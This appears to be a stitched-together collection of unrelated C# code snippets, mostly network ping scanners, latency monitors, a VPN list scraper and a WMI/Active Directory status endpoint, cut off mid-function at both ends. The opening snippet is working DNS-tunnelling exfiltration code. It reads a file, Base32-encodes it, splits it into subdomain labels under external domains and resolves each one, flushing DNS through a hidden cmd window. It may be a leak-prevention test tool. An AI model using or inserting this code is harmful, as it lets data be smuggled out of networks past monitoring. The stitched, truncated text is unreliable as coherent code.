else if (Islem_No == 3)
{
string y = ToBase32String(GetBytes(testEdilenKurum));
string[] kurum = Regex.Split(y, "=");
string dosya = ToBase32String(GetBytes(newDosyaAdi));
string[] dosyaNew = Regex.Split(dosya, "=");
dizi.Add(kurum[0]);
dizi.Add(dosyaNew[0]);
dizi.Add(islem_No);
try
{
byte[] content = File.ReadAllBytes(dosyaAdi);
string result = ToBase32String(content);
result = result.Replace("/", "bolu");
result = result.Replace("+", "arti");
int diziBoyutu = result.Length - 1, index = 0;
int sayac = result.Length;
Random random = new Random();
int boyut = random.Next(30, 52);
int kalan;
while (sayac > boyut)
{
boyut = random.Next(30, 52);
sayac -= boyut;
dizi.Add(result.Substring(index, boyut));
index += boyut;
}
kalan = sayac;
string y2 = result.Substring(index, kalan);
string[] ya = Regex.Split(y2, "=");
dizi.Add(ya[0]);
string son = "bitti";
dizi.Add(son);
for (int i = 0; i < dizi.Count; i++)
{
yollanacak_veri = i + kullaniciID + "-" + dizi[i] + "." + domain_list[i % (domain_list.Count)];
veri_dizisi.Add(yollanacak_veri);
}
}
catch (Exception ex)
{
Console.WriteLine("Hatalı dosya adi:" + ex.Message);
goto KontrolDosyaAdi;
}
}
else
{
Console.WriteLine("Hatalı işlem numarası tekrar seçiniz");
goto Kontrol;
}
IPAddress[] ip;
for (int i = 0; i < veri_dizisi.Count; i++)
{
System.Threading.Thread.Sleep(TimeOut);
for (int j = 0; j < 2; j++)
{
System.Threading.Thread.Sleep(TimeOut);
Ping ping = new Ping();
try
{
string komut = "ipconfig /flushdns";
Process Process = new Process();
ProcessStartInfo ProcessInfo;
ProcessInfo = new ProcessStartInfo("cmd.exe", "/C " + komut);
ProcessInfo.CreateNoWindow = true;
ProcessInfo.UseShellExecute = false;
Process = Process.Start(ProcessInfo);
Process.WaitForExit();
Process.Close();
IPHostEntry dns_bilgi = Dns.GetHostEntry(veri_dizisi[i]);
ip = dns_bilgi.AddressList;
foreach (IPAddress ipp in ip)
{
Console.WriteLine("adres:" + veri_dizisi[i] + " ip:" + ipp);
}
//PingReply DonenCevap = ping.Send(veri_dizisi[i]);
}
catch (Exception ex)
{
Console.WriteLine("adres:" + veri_dizisi[i] + " böyle bir adres yok");
}
}
}
Console.ReadLine();
}
public void SendAsync(IPAddress ipAddress, PingOptions pingOptions, CancellationToken cancellationToken)
{
Task.Run(() =>
{
var hostname = pingOptions.Hostname;
// Try to resolve PTR
if (string.IsNullOrEmpty(hostname))
{
try
{
Task.Run(() =>
{
hostname = Dns.GetHostEntryAsync(ipAddress).Result.HostName;
}, cancellationToken);
}
catch (SocketException) { }
}
var pingTotal = 0;
var errorCount = 0;
var options = new System.Net.NetworkInformation.PingOptions
{
Ttl = pingOptions.TTL,
DontFragment = pingOptions.DontFragment
};
using (var ping = new System.Net.NetworkInformation.Ping())
{
do
{
try
{
// Get timestamp
var timestamp = DateTime.Now;
// Send ping
var pingReply = ping.Send(ipAddress, pingOptions.Timeout, pingOptions.Buffer, options);
// Reset the error count (if no exception was thrown)
errorCount = 0;
if (pingReply == null || pingReply.Status != IPStatus.Success)
{
if (pingReply != null && pingReply.Address == null)
{
OnPingReceived(new PingReceivedArgs(timestamp, ipAddress, hostname, pingReply.Status));
}
else if (pingReply != null)
{
OnPingReceived(new PingReceivedArgs(timestamp, pingReply.Address, hostname, pingReply.Status));
}
}
else
{
if (ipAddress.AddressFamily == AddressFamily.InterNetwork)
{
OnPingReceived(new PingReceivedArgs(timestamp, pingReply.Address, hostname,
pingReply.Buffer.Length, pingReply.RoundtripTime, pingReply.Options.Ttl, pingReply.Status));
}
else
{
OnPingReceived(new PingReceivedArgs(timestamp, pingReply.Address, hostname,
pingReply.Buffer.Length, pingReply.RoundtripTime, pingReply.Status));
}
}
}
catch (PingException ex)
{
errorCount++;
if (errorCount == pingOptions.ExceptionCancelCount)
{
OnPingException(new PingExceptionArgs(ex.Message, ex.InnerException));
break;
}
}
pingTotal++;
// If ping is canceled... dont wait for example 5 seconds
for (var i = 0; i < pingOptions.WaitTime; i += 100)
{
Thread.Sleep(100);
if (cancellationToken.IsCancellationRequested)
{
break;
}
}
} while ((pingOptions.Attempts == 0 || pingTotal < pingOptions.Attempts) && !cancellationToken.IsCancellationRequested);
}
if (cancellationToken.IsCancellationRequested)
{
OnUserHasCanceled();
}
else
{
OnPingCompleted();
}
}, cancellationToken);
}
private void getVpnAsync()
{
BackgroundWorker bw = new BackgroundWorker();
bw.RunWorkerCompleted +=
delegate
{
LoadingAnim(false);
ChangeVpn(VpnList._VpnList.First());
foreach (Vpn_ vpn in VpnList._VpnList)
{
ServerItem serverItem = new ServerItem();
serverItem.NameOf.Content = vpn.Country;
BitmapImage bitmapImage = new BitmapImage();
flags.TryGetValue(vpn.Country, out bitmapImage);
serverItem.Flag.Source = bitmapImage;
serverItem.vpn = vpn;
long repl = 0;
BackgroundWorker bw2 = new BackgroundWorker();
bw2.RunWorkerCompleted +=
delegate
{
if (repl > 120)
{
Brush brush = Brushes.Red;
serverItem.Ping.Foreground = brush;
}
if (repl < 120 & repl > 80)
{
Brush brush = Brushes.Yellow;
serverItem.Ping.Foreground = brush;
}
if (repl < 80)
{
Brush brush = Brushes.LimeGreen;
serverItem.Ping.Foreground = brush;
}
serverItem.Ping.Content = repl;
if (repl > 0)
{
serverItem.PreviewMouseDown +=
delegate
{
setSerstatus(false);
ChangeVpn(serverItem.vpn);
};
StackServers.Children.Add(serverItem);
}
};
bw2.DoWork +=
delegate
{
Ping ping = new System.Net.NetworkInformation.Ping();
PingReply pingReply = null;
pingReply = ping.Send(vpn.IP);
repl = pingReply.RoundtripTime / 2;
};
bw2.RunWorkerAsync();
}
};
bw.DoWork +=
delegate
{
for (int i = 0; i < 7; i++)
{
try
{
string st = new WebClient()
{
Proxy = null
}.DownloadString(VpnServers[i][0]);
st = st.Remove(st.IndexOf("<h3>L2TP/IPSec (PSK)</h3>"), st.Length - st.IndexOf("<h3>L2TP/IPSec (PSK)</h3>", 10));
st = st.Remove(0, st.IndexOf("<h3>PPTP</h3>"));
string[] s = new string[3];
int k2 = 0;
while (st.Contains("</b>"))
{
string k = st.Remove(0, st.IndexOf("</b>") + 5);
k = k.Remove(k.IndexOf("</li>"), k.Length - k.IndexOf("</li>"));
st = st.Remove(0, st.IndexOf("</li>") + 5);
s[k2] = k;
k2++;
}
Vpn_ vpn = new Vpn_
{
IP = s[0],
User = s[1],
Pass = s[2],
Country = VpnServers[i][1]
};
VpnList._VpnList.Add(vpn);
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
};
bw.RunWorkerAsync();
}
public void ScanAsync(IPAddress[] ipAddresses, IPScannerOptions ipScannerOptions, CancellationToken cancellationToken)
{
progressValue = 0;
// Modify the ThreadPool for better performance
ThreadPool.GetMinThreads(out int workerThreads, out int completionPortThreads);
ThreadPool.SetMinThreads(workerThreads + ipScannerOptions.Threads, completionPortThreads + ipScannerOptions.Threads);
// Start the scan in a separat task
Task.Run(() =>
{
try
{
ParallelOptions parallelOptions = new ParallelOptions()
{
CancellationToken = cancellationToken,
MaxDegreeOfParallelism = ipScannerOptions.Threads
};
string localHostname = ipScannerOptions.ResolveHostname ? Dns.GetHostName() : string.Empty;
Parallel.ForEach(ipAddresses, parallelOptions, ipAddress =>
{
using (System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping())
{
for (int i = 0; i < ipScannerOptions.Attempts; i++)
{
try
{
// PING
PingReply pingReply = ping.Send(ipAddress, ipScannerOptions.Timeout, ipScannerOptions.Buffer);
if (IPStatus.Success == pingReply.Status)
{
PingInfo pingInfo = new PingInfo(pingReply.Address, pingReply.Buffer.Count(), pingReply.RoundtripTime, pingReply.Options.Ttl, pingReply.Status);
// DNS
string hostname = string.Empty;
if (ipScannerOptions.ResolveHostname)
{
if (pingInfo.Status == IPStatus.Success)
{
try
{
hostname = Dns.GetHostEntry(ipAddress).HostName;
}
catch (SocketException) { } // Couldn't resolve hostname
}
}
// ARP
PhysicalAddress macAddress = null;
string vendor = string.Empty;
if (ipScannerOptions.ResolveMACAddress)
{
macAddress = ARPTable.GetTable().Where(p => p.IPAddress.ToString() == ipAddress.ToString()).FirstOrDefault().MACAddress;
if (macAddress == null)
{
macAddress = NetworkInterface.GetNetworkInterfaces().Where(p => p.IPv4Address.Contains(ipAddress)).FirstOrDefault().PhysicalAddress;
}
// Vendor lookup
vendor = OUILookup.Lookup(macAddress.ToString()).FirstOrDefault().Vendor;
}
OnHostFound(new IPScannerHostFoundArgs(pingInfo, hostname, macAddress, vendor));
break;
}
}
catch { }
// Don't scan again, if the user has canceled (when more than 1 attempt)
if (cancellationToken.IsCancellationRequested)
{
break;
}
}
}
// Increase the progress
Interlocked.Increment(ref progressValue);
OnProgressChanged();
});
OnScanComplete();
}
catch (OperationCanceledException) // If user has canceled
{
OnUserHasCanceled();
}
});
// Reset the ThreadPool to default
ThreadPool.SetMinThreads(workerThreads, completionPortThreads);
}
private void lookupToolStripMenuItem_Click(object sender, EventArgs e)
{
if (dataGridView1.SelectedCells.Count == 1)
{
DataGridViewCell dc = dataGridView1.SelectedCells[0];
DataGridViewColumn dgc = dataGridView1.Columns[dc.ColumnIndex];
if (dgc.Name.Equals("src-ip") || dgc.Name.Equals("dst-ip"))
{
string Ip = dc.Value.ToString();
if (!Ip.StartsWith("192.168") && !Ip.StartsWith("255.") && !Ip.Equals("239.255.255.250"))
{
System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping();
ping.PingCompleted += (a, b) =>
{
MessageBox.Show(Ip + "\n" + b.Reply.Status.ToString());
};
IPAddress address;
if (IPAddress.TryParse(Ip, out address))
{
if (!iptrace.ContainsKey(address))
{
if (!iphost.ContainsKey(address))
{
try
{
IPHostEntry iph = System.Net.Dns.EndGetHostEntry(System.Net.Dns.BeginGetHostEntry(address, (a) =>
{
if (a.IsCompleted)
{
string s = "";
}
}, null));
iphost.Add(address, iph);
AddToolTipTextToIp(address, iph);
}
catch { }
}
else
{
AddToolTipTextToIp(address, iphost[address]);
}
BackgroundWorker bw = new BackgroundWorker();
bw.DoWork += (a, b) =>
{
IPAddress ipaddress = (IPAddress)b.Argument;
TraceForm tf = new TraceForm(ipaddress);
tf.Tag = Diag.PerformPathping(ipaddress, 50, 5000);
iptrace.Add(address, tf);
tf.ShowDialog();
};
bw.RunWorkerAsync(address);
}
else
{
iptrace[address].ShowDialog();
}
}
//ping.SendAsync(dc.Value.ToString(),null);
}
}
}
}
public void ScanAsync(IPAddress[] ipAddresses, CancellationToken cancellationToken)
{
// Start the scan in a separat task
Task.Run(() =>
{
_progressValue = 0;
// Create dns client and set options
if (ResolveHostname)
{
DnsLookupClient = UseCustomDNSServer ? new LookupClient(new IPEndPoint(CustomDNSServer, CustomDNSPort)) : new LookupClient();
DnsLookupClient.UseCache = DNSUseCache;
DnsLookupClient.Recursion = DNSRecursion;
DnsLookupClient.Timeout = DNSTimeout;
DnsLookupClient.Retries = DNSRetries;
DnsLookupClient.UseTcpOnly = DNSUseTCPOnly;
}
// Modify the ThreadPool for better performance
ThreadPool.GetMinThreads(out var workerThreads, out var completionPortThreads);
ThreadPool.SetMinThreads(workerThreads + Threads, completionPortThreads + Threads);
try
{
var parallelOptions = new ParallelOptions
{
CancellationToken = cancellationToken,
MaxDegreeOfParallelism = Threads
};
Parallel.ForEach(ipAddresses, parallelOptions, ipAddress =>
{
var pingInfo = new PingInfo();
var pingable = false;
// PING
using (var ping = new System.Net.NetworkInformation.Ping())
{
for (var i = 0; i < ICMPAttempts; i++)
{
try
{
var pingReply = ping.Send(ipAddress, ICMPTimeout, ICMPBuffer);
if (pingReply != null && IPStatus.Success == pingReply.Status)
{
pingInfo = new PingInfo(pingReply.Address, pingReply.Buffer.Length, pingReply.RoundtripTime, pingReply.Options.Ttl, pingReply.Status);
pingable = true;
break; // Continue with the next checks...
}
if (pingReply != null)
{
pingInfo = new PingInfo(ipAddress, pingReply.Status);
}
}
catch (PingException)
{ }
// Don't scan again, if the user has canceled (when more than 1 attempt)
if (cancellationToken.IsCancellationRequested)
{
break;
}
}
}
if (pingable || ShowScanResultForAllIPAddresses)
{
// DNS
var hostname = string.Empty;
if (ResolveHostname)
{
try
{
var dnsQueryResponse = DnsLookupClient.QueryReverse(ipAddress);
if (dnsQueryResponse != null && !dnsQueryResponse.HasError)
{
hostname = dnsQueryResponse.Answers.PtrRecords().FirstOrDefault()?.PtrDomainName;
}
else
{
hostname = DNSShowErrorMessage ? $"{Resources.Localization.Strings.Error}: {dnsQueryResponse.ErrorMessage}" : "";
}
}
catch (Exception ex)
{
hostname = DNSShowErrorMessage ? $"{Resources.Localization.Strings.Error}: {ex.Message}" : "";
}
}
// ARP
PhysicalAddress macAddress = null;
var vendor = string.Empty;
if (ResolveMACAddress)
{
// Get info from arp table
var arpTableInfo = ARP.GetTable().FirstOrDefault(p => p.IPAddress.ToString() == ipAddress.ToString());
if (arpTableInfo != null)
{
macAddress = arpTableInfo.MACAddress;
}
// Check if it is the local mac
if (macAddress == null)
{
var networkInferfaceInfo = NetworkInterface.GetNetworkInterfaces().FirstOrDefault(p => p.IPv4Address.Contains(ipAddress));
if (networkInferfaceInfo != null)
{
macAddress = networkInferfaceInfo.PhysicalAddress;
}
}
// Vendor lookup
if (macAddress != null)
{
var info = OUILookup.Lookup(macAddress.ToString()).FirstOrDefault();
if (info != null)
{
vendor = info.Vendor;
}
}
}
OnHostFound(new HostFoundArgs(pingInfo, hostname, macAddress, vendor));
}
IncreaseProcess();
});
OnScanComplete();
}
catch (OperationCanceledException) // If user has canceled
{
// Check if the scan is already complete...
if (ipAddresses.Length == _progressValue)
{
OnScanComplete();
}
else
{
OnUserHasCanceled();
}
}
finally
{
// Reset the ThreadPool to default
ThreadPool.GetMinThreads(out workerThreads, out completionPortThreads);
ThreadPool.SetMinThreads(workerThreads - Threads, completionPortThreads - Threads);
}
}, cancellationToken);
}
public Ping(string host)
{
System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping();
pr = ping.Send(host);
}
public void ScanAsync(IPAddress[] ipAddresses, IPScannerOptions ipScannerOptions, CancellationToken cancellationToken)
{
// Start the scan in a separat task
Task.Run(() =>
{
progressValue = 0;
// Modify the ThreadPool for better performance
ThreadPool.GetMinThreads(out int workerThreads, out int completionPortThreads);
ThreadPool.SetMinThreads(workerThreads + ipScannerOptions.Threads, completionPortThreads + ipScannerOptions.Threads);
try
{
ParallelOptions parallelOptions = new ParallelOptions()
{
CancellationToken = cancellationToken,
MaxDegreeOfParallelism = ipScannerOptions.Threads
};
string localHostname = ipScannerOptions.ResolveHostname ? Dns.GetHostName() : string.Empty;
Parallel.ForEach(ipAddresses, parallelOptions, ipAddress =>
{
PingInfo pingInfo = new PingInfo();
bool pingable = false;
// PING
using (System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping())
{
for (int i = 0; i < ipScannerOptions.Attempts; i++)
{
try
{
PingReply pingReply = ping.Send(ipAddress, ipScannerOptions.Timeout, ipScannerOptions.Buffer);
if (IPStatus.Success == pingReply.Status)
{
pingInfo = new PingInfo(pingReply.Address, pingReply.Buffer.Count(), pingReply.RoundtripTime, pingReply.Options.Ttl, pingReply.Status);
pingable = true;
break; // Continue with the next checks...
}
else
{
pingInfo = new PingInfo(ipAddress, pingReply.Status);
}
}
catch (PingException)
{
}
// Don't scan again, if the user has canceled (when more than 1 attempt)
if (cancellationToken.IsCancellationRequested)
{
break;
}
}
}
if (pingable || ipScannerOptions.ShowScanResultForAllIPAddresses)
{
// DNS
string hostname = string.Empty;
if (ipScannerOptions.ResolveHostname)
{
try
{
hostname = Dns.GetHostEntry(ipAddress).HostName;
}
catch (SocketException) { } // Couldn't resolve hostname
}
// ARP
PhysicalAddress macAddress = null;
string vendor = string.Empty;
if (ipScannerOptions.ResolveMACAddress)
{
// Get info from arp table
ARPTableInfo arpTableInfo = ARPTable.GetTable().Where(p => p.IPAddress.ToString() == ipAddress.ToString()).FirstOrDefault();
if (arpTableInfo != null)
{
macAddress = arpTableInfo.MACAddress;
}
// Check if it is the local mac
if (macAddress == null)
{
NetworkInterfaceInfo networkInferfaceInfo = NetworkInterface.GetNetworkInterfaces().Where(p => p.IPv4Address.Contains(ipAddress)).FirstOrDefault();
if (networkInferfaceInfo != null)
{
macAddress = networkInferfaceInfo.PhysicalAddress;
}
}
// Vendor lookup
if (macAddress != null)
{
OUIInfo info = OUILookup.Lookup(macAddress.ToString()).FirstOrDefault();
if (info != null)
{
vendor = info.Vendor;
}
}
}
OnHostFound(new IPScannerHostFoundArgs(pingInfo, hostname, macAddress, vendor));
}
IncreaseProcess();
});
OnScanComplete();
}
catch (OperationCanceledException) // If user has canceled
{
// Check if the scan is already complete...
if (ipAddresses.Length == progressValue)
{
OnScanComplete();
}
else
{
OnUserHasCanceled();
}
}
finally
{
// Reset the ThreadPool to default
ThreadPool.GetMinThreads(out workerThreads, out completionPortThreads);
ThreadPool.SetMinThreads(workerThreads - ipScannerOptions.Threads, completionPortThreads - ipScannerOptions.Threads);
}
});
}
public long Ping()
{
System.Net.NetworkInformation.Ping tempPing = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply temPingReply = tempPing.Send(m_ipAddr);
return(temPingReply.RoundtripTime);
}
public void Ping()
{
buffer = Encoding.ASCII.GetBytes(data);
options = new PingOptions();
options.DontFragment = true;
p = new System.Net.NetworkInformation.Ping();
reply = p.Send(IP, systemTimeOut, buffer);
if (reply.Status == IPStatus.Unknown)
{
writeLine("未知原因，请检测网卡.code:Unknown");
}
else if (reply.Status == IPStatus.TimedOut)
{
writeLine("请求超时." + "回复时长：" + reply.RoundtripTime + "无应答code:TimedOut");
}
else if (reply.Status == IPStatus.BadDestination)
{
writeLine("坏的目标无法到达.code:BadDestination");
}
else if (reply.Status == IPStatus.BadRoute)
{
writeLine("路由无法到达.code:BadRoute");
}
else if (reply.Status == IPStatus.DestinationNetworkUnreachable)
{
writeLine("无法访问计算机网络.code:DestinationNetworkUnreachable");
}
else if (reply.Status == IPStatus.DestinationProhibited)
{
writeLine("目标被禁Ping.code:DestinationProhibited");
}
else if (reply.Status == IPStatus.DestinationScopeMismatch)
{
writeLine("目标地址与原地址不在同一网络.code:DestinationScopeMismatch");
}
else if (reply.Status == IPStatus.DestinationUnreachable)
{
writeLine("无法得知回复消息，原因未知.code:DestinationUnreachable");
}
else if (reply.Status == IPStatus.HardwareError)
{
writeLine("硬件错误.code:HardwareError");
}
else if (reply.Status == IPStatus.PacketTooBig)
{
writeLine("MTU达到最大.code:PacketTooBig");
}
else if (reply.Status == IPStatus.TtlExpired)
{
writeLine("路由值达到最大，未到达，TTl耗尽code:TtlExpired");
}
else
{
if (reply.RoundtripTime > timeout)
{
mgstemp = "回复时长：" + reply.RoundtripTime + "ms; 大于" + timeout + "ms,istimout,算超时.IP:" + reply.Address;
}
else
{
mgstemp = "回复时长：" + reply.RoundtripTime + "ms.IP:" + reply.Address;
}
writeLine(mgstemp);
}
}
public static Task <PingReply> SendPingAsync(this Ping self, string hostNameOrAddress, int timeout)
{
return(Task.Factory.StartNew(() => { return self.Send(hostNameOrAddress, timeout); }));
}
public static async void InstantInfoEquip(HttpListenerContext ctx)
{
WebSocketContext wsc;
WebSocket ws;
try {
wsc = await ctx.AcceptWebSocketAsync(null);
ws = wsc.WebSocket;
} catch (WebSocketException ex) {
ctx.Response.Close();
Logging.Err(ex);
return;
}
string sessionId = ctx.Request.Cookies["sessionid"]?.Value ?? null;
if (sessionId is null)
{
ctx.Response.Close();
return;
}
try {
byte[] buff = new byte[2048];
WebSocketReceiveResult receiveResult = await ws.ReceiveAsync(new ArraySegment <byte>(buff), CancellationToken.None);
string filename = Encoding.Default.GetString(buff, 0, receiveResult.Count);
if (!Database.equip.ContainsKey(filename))
{
await ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "", CancellationToken.None);
return;
}
Database.DbEntry equip = (Database.DbEntry)Database.equip[filename];
string host = null;
if (equip.hash.ContainsKey("IP"))
{
host = ((string[])equip.hash["IP"])[0];
}
else if (equip.hash.ContainsKey("HOSTNAME"))
{
host = ((string[])equip.hash["HOSTNAME"])[0];
}
else
{
await ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "", CancellationToken.None);
return;
}
string lastseen = "";
string[] ipArray = host.Split(';').Select(o => o.Trim()).ToArray();
try {
using System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
PingReply reply = p.Send(ipArray[0], 1000);
if (reply.Status == IPStatus.Success)
{
lastseen = "Just now";
WsWriteText(ws, $"last seen{(char)127}{lastseen}{(char)127}ICMP");
WsWriteText(ws, $".roundtrip:{ipArray[0]}{(char)127}{reply.RoundtripTime}{(char)127}ICMP");
LastSeen.Seen(ipArray[0]);
}
else
{
lastseen = Encoding.UTF8.GetString(LastSeen.HasBeenSeen(ipArray[0], true));
WsWriteText(ws, $"last seen{(char)127}{lastseen}{(char)127}ICMP");
WsWriteText(ws, $".roundtrip:{ipArray[0]}{(char)127}TimedOut{(char)127}ICMP");
}
} catch {
WsWriteText(ws, $".roundtrip:{host}{(char)127}Error{(char)127}ICMP");
}
if (ipArray.Length > 1)
{
for (int i = 1; i < ipArray.Length; i++)
{
try {
using System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
PingReply reply = p.Send(ipArray[i], 1000);
if (reply.Status == IPStatus.Success)
{
WsWriteText(ws, $".roundtrip:{ipArray[i]}{(char)127}{reply.RoundtripTime}{(char)127}ICMP");
}
else
{
WsWriteText(ws, $".roundtrip:{ipArray[i]}{(char)127}{reply.Status}{(char)127}ICMP");
}
} catch {
WsWriteText(ws, $".roundtrip:{ipArray[i]}{(char)127}Error{(char)127}ICMP");
}
}
}
List <string> warnings = new List <string>();
string wmiHostName = null, adHostName = null, netbios = null, dns = null;
if (lastseen == "Just now")
{
ManagementScope scope = Wmi.WmiScope(host);
if (scope != null)
{
string username = Wmi.WmiGet(scope, "Win32_ComputerSystem", "UserName", false, null);
if (username.Length > 0)
{
WsWriteText(ws, $"logged in user{(char)127}{username}{(char)127}WMI");
}
string starttime = Wmi.WmiGet(scope, "Win32_LogonSession", "StartTime", false, new Wmi.FormatMethodPtr(Wmi.DateTimeToString));
if (starttime.Length > 0)
{
WsWriteText(ws, $"start time{(char)127}{starttime}{(char)127}WMI");
}
wmiHostName = Wmi.WmiGet(scope, "Win32_ComputerSystem", "DNSHostName", false, null);
}
using ManagementObjectCollection logicalDisk = new ManagementObjectSearcher(scope, new SelectQuery("SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3")).Get();
foreach (ManagementObject o in logicalDisk)
{
string caption = o.GetPropertyValue("Caption").ToString();
UInt64 size = (UInt64)o.GetPropertyValue("Size");
UInt64 free = (UInt64)o.GetPropertyValue("FreeSpace");
if (size == 0)
{
continue;
}
UInt64 percent = 100 * free / size;
if (percent < 10)
{
warnings.Add($"{percent}% free space on disk {caption}");
}
}
}
if (equip.hash.ContainsKey("HOSTNAME"))
{
string hostname = ((string[])equip.hash["HOSTNAME"])[0];
SearchResult result = ActiveDirectory.GetWorkstation(hostname);
if (result != null)
{
if (result.Properties["lastLogonTimestamp"].Count > 0)
{
string time = ActiveDirectory.FileTimeString(result.Properties["lastLogonTimestamp"][0].ToString());
if (time.Length > 0)
{
WsWriteText(ws, $"last logon{(char)127}{time}{(char)127}Active directory");
}
}
if (result.Properties["lastLogoff"].Count > 0)
{
string time = ActiveDirectory.FileTimeString(result.Properties["lastLogoff"][0].ToString());
if (time.Length > 0)
{
WsWriteText(ws, $"last logoff{(char)127}{time}{(char)127}Active directory");
}
}
if (result.Properties["dNSHostName"].Count > 0)
{
adHostName = result.Properties["dNSHostName"][0].ToString();
}
}
}
try {
dns = (await System.Net.Dns.GetHostEntryAsync(host)).HostName;
} catch { }
if (!(dns is null))
{
dns = dns?.Split('.')[0].ToUpper();
bool mismatch = false;
if (!mismatch && !(wmiHostName is null) && wmiHostName.Length > 0)
{
wmiHostName = wmiHostName?.Split('.')[0].ToUpper();
if (wmiHostName != dns)
{
warnings.Add($"DNS mismatch: {wmiHostName} ≠ {dns}");
mismatch = true;
}
}
if (!mismatch && !(adHostName is null) && adHostName.Length > 0)
{
adHostName = adHostName?.Split('.')[0].ToUpper();
if (adHostName != dns)
{
warnings.Add($"DNS mismatch: {adHostName} ≠ {dns}");
mismatch = true;
}
}
if (!mismatch && wmiHostName is null && adHostName is null)
{
netbios = await NetBios.GetBiosNameAsync(host);
}
if (!mismatch && !(netbios is null) && netbios.Length > 0)
{
netbios = netbios?.Split('.')[0].ToUpper();
if (netbios != dns)
{
warnings.Add($"DNS mismatch: {netbios} ≠ {dns}");
mismatch = true;
}
}
}
for (int i = 0; i < warnings.Count; i++)
{
WsWriteText(ws, $"!{(char)127}{warnings[i]}{(char)127}");
}
try {
await ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "", CancellationToken.None);
} catch { }
} catch (Exception ex) {
Logging.Err(ex);
}
}
public void PingProcess(object sender, EventArgs e)
{
PingReply Reply;
System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
switch (MainWindow.PingDestination)
{
case "JP-Auth":
Reply = p.Send("122.129.233.160");
if (Reply.Status == IPStatus.Success)
{
ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
}
ping.Foreground = Brushes.Green;
if (Reply.RoundtripTime >= 200)
{
ping.Foreground = Brushes.Yellow;
}
if (Reply.RoundtripTime >= 300)
{
ping.Foreground = Brushes.Red;
}
if (MainWindow.TimeSpanSec < 3)
{
Message.PingingTimeSpan_NotAllowed();
mTimer.Stop();
mTimer.Interval = TimeSpan.FromSeconds(3);
MainWindow.TimeSpanSec = 3;
//MessageBox.Show("Alert" + "TimeSpan:" + main.TimeSpanSec);
Util.WriteSettings();
mTimer.Start();
}
break;
case "Taiwan-KR":
Reply = p.Send("inven.co.kr");
if (Reply.Status == IPStatus.Success)
{
ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
}
if (Reply.RoundtripTime <= 100)
{
ping.Foreground = Brushes.GreenYellow;
}
if (Reply.RoundtripTime >= 100)
{
ping.Foreground = Brushes.Yellow;
}
if (Reply.RoundtripTime >= 200)
{
ping.Foreground = Brushes.Red;
}
if (MainWindow.TimeSpanSec < 3)
{
Message.PingingTimeSpan_NotAllowed();
mTimer.Stop();
mTimer.Interval = TimeSpan.FromSeconds(3);
MainWindow.TimeSpanSec = 2;
//MessageBox.Show("Alert" + "TimeSpan:" + main.TimeSpanSec);
Util.WriteSettings();
mTimer.Start();
}
break;
case "JP-Tokyo":
if (MainWindow.TimeSpanSec < 3)
{
Message.PingingTimeSpan_NotAllowed();
mTimer.Stop();
mTimer.Interval = TimeSpan.FromSeconds(3);
MainWindow.TimeSpanSec = 3;
//MessageBox.Show("Alert" + "TimeSpan:" + main.TimeSpanSec);
Util.WriteSettings();
mTimer.Start();
}
break;
case "NA-Sanjose":
if (MainWindow.TimeSpanSec < 3)
{
Message.PingingTimeSpan_NotAllowed();
mTimer.Stop();
mTimer.Interval = TimeSpan.FromSeconds(3);
MainWindow.TimeSpanSec = 3;
//MessageBox.Show("Alert" + "TimeSpan:" + main.TimeSpanSec);
Util.WriteSettings();
mTimer.Start();
}
break;
case "GamezBD":
Reply = p.Send("64.91.227.116");
if (Reply.Status == IPStatus.Success)
{
ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
}
Server.Content = "(Gamez BD)";
Server.Foreground = Brushes.Aqua;
ping.Foreground = Brushes.Aqua;
if (Reply.RoundtripTime <= 100)
{
ping.Foreground = Brushes.Aqua;
}
if (Reply.RoundtripTime >= 200)
{
ping.Foreground = Brushes.Yellow;
}
if (Reply.RoundtripTime >= 300)
{
ping.Foreground = Brushes.Red;
}
break;
}
//if (main.Destination == "KR-Auth" && main.TimeSpanSec < 3)
//{
// main.PingingTimeSpan_NotAllowed();
// mTimer.Stop();
// mTimer.Interval = TimeSpan.FromSeconds(3);
// main.TimeSpanSec = 3;
// conf.WriteTheSettingsToIni();
// mTimer.Start();
//}
//if (main.Destination == "JP-Tokyo")
//{
// System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
// PingReply Reply = p.Send("133.130.113.6");
// if (Reply.Status == IPStatus.Success)
// {
// ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
// }
//}
//if(main.Destination == "NA-Sanjose")
//{
// System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
// PingReply Reply = p.Send("163.44.119.33");
// if (Reply.Status == IPStatus.Success)
// {
// ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
// }
//}
//if(main.Destination == "JP-Auth")
//{
// System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
// PingReply Reply = p.Send("122.129.233.160");
// if (Reply.Status == IPStatus.Success)
// {
// ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
// }
//}
//if(main.Destination == "KR-Auth")
//{
// System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
// PingReply Reply = p.Send("blackauth.black.game.daum.net");
// if (Reply.Status == IPStatus.Success)
// {
// ping.Content = "Ping:" + Reply.RoundtripTime + "ms";
// }
//}
}
/// <summary>
/// 创建多个线程ping指定范围的ip
/// </summary>
private void StartPing()
{
if (int.Parse(textBox2.Text) > 255 || int.Parse(textBox2.Text) < 0 ||
int.Parse(textBox3.Text) > 255 || int.Parse(textBox3.Text) < 0 ||
int.Parse(textBox4.Text) > 255 || int.Parse(textBox4.Text) < 0 ||
int.Parse(textBox5.Text) > 255 || int.Parse(textBox5.Text) < 0 ||
int.Parse(textBox6.Text) > 255 || int.Parse(textBox6.Text) < 0)
{
